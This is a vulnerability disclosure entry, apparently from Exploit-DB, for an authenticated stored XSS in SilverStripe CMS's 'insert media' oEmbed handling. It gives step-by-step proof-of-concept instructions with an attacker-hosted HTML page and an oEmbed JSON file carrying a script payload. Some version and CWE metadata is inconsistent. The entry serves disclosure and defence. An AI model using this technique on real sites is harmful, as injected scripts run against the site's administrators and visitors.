SilverStripe 5.3.8 - Stored Cross Site Scripting (XSS) (Authenticated)

vendor:

SilverStripe

by:

James Nicoll

6.1

CVSS

HIGH

Stored Cross Site Scripting (XSS)

CWE

Product Name: SilverStripe

Affected Version From: 5.2.22

Affected Version To: 5.3.2008

Patch Exists: NO

Related CWE: CVE-2024-47605

CPE: a:silverstripe:silverstripe:5.3.8

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 24.04

2025

SilverStripe 5.3.8 – Stored Cross Site Scripting (XSS) (Authenticated)

When using the 'insert media' feature in SilverStripe 5.3.8, the oEmbed JSON linked includes an unsanitized HTML attribute, allowing an attacker to execute a script payload on both the CMS and the website's front-end.

Mitigation:

To mitigate this vulnerability, sanitize the HTML attributes before replacing the embed shortcode in the 'insert media' feature.

Source

Exploit-DB raw data:

# Exploit Title: SilverStripe 5.3.8  - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 2025-01-15
# Exploit Author: James Nicoll
# Vendor Homepage: https://www.silverstripe.org/
# Software Link: https://www.silverstripe.org/download/
# Category: Web Application
# Version: 5.2.22
# Tested on: SilverStripe 5.2.22 - Ubuntu 24.04
# CVE : CVE-2024-47605

## Explanation:
When using the "insert media" functionality, the linked oEmbed JSON includes an HTML attribute which will replace the embed shortcode. The HTML is not sanitized before replacing the shortcode, allowing a script payload to be executed on both the CMS and the front-end of the website.

## Requirements
1. A Silverstripe CMS website.
2. Valid login credentials for a user with page edit rights.
3. An attacker server hosting malicious payload.

## On the attacker server:
1. Create an html file with oembded information:
```
<html>
  <head>
    <link rel="alternate" type="application/json+oembed" href="http://<attacker_server_ip>/oembed.json" title="Payload" />
  </head>
  <body>
    <img src="media.jpg">
  </body>
</html>
```
2. Create the json file with XSS payload:
```
{
    "title": "Title",
    "author_name": "author",
    "type": "video",
    "height": 113,
    "width": 200,
    "version": "1.0",
    "provider_name": "FakeSite",
    "thumbnail_height": 360,
    "thumbnail_width": 480,
    "thumbnail_url": "http://<attacker_server_ip>/media.jpg",
    "html":"<script>alert('hello world');</script>"
}
```
3. The media.jpg file can be any image.
4. Host these files on a publicly available website

## On the SilverStripe website:
1. Log into the admin portal with a user account that has page editor rights (or higher).
2. Select the page you wish to load the malicious content into.
3. Within the editor panel, select the "Insert Media via URL" button.
4. Enter the IP/Hostname of the attacker server.
5. Click Add Media, Insert Media, and then save and publish the page.